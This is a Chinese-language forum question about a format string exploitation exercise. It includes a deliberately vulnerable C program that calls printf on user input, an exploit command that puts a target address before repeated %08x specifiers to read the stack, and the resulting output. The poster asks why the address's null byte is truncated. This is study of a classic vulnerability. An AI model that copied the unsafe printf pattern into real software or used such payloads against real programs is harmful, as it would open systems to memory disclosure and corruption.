我正在尝试使用printf()格式参数,其中直接提供用户控制的数据作为printf(“用户输入”)的唯一参数,允许用户提供格式参数,例如%x,在这种情况下,没有为函数提供任何其他参数以使其从堆栈中弹出,因此该函数使用当前存在的任何数据,使您可以读取地址等。
程序
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char text[1024];
static int test_val = -72;
if(argc < 2) {
printf("Usage: %s <text to print>\n", argv[0]);
exit(0);
}
strcpy(text, argv[1]);
printf("The right way to print user-controlled input:\n");
printf("%s", text);
printf("\nThe wrong way to print user-controlled input:\n");
printf(text);
printf("\n");
// Debug output
printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
exit(0);
}
我的问题是,当我在格式参数之前提供一个地址作为程序的参数时,最低有效字节00(地址的一部分)被截断并替换为另一个字节(在这种情况下为2e)堆栈。
./fmt_vuln $(printf "\x58\x10\x60\x00")$(perl -e 'print ".%08x" x8')
输出:
The right way to print user-controlled input:
X`.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
The wrong way to print user-controlled input:
X`.017af010.3a780780.3a4b12c0.3a967700.0000002b.22f85198.00f7803b.2e601058
[*] test_val @ 0x00601058 = -72 0xffffffb8
谢谢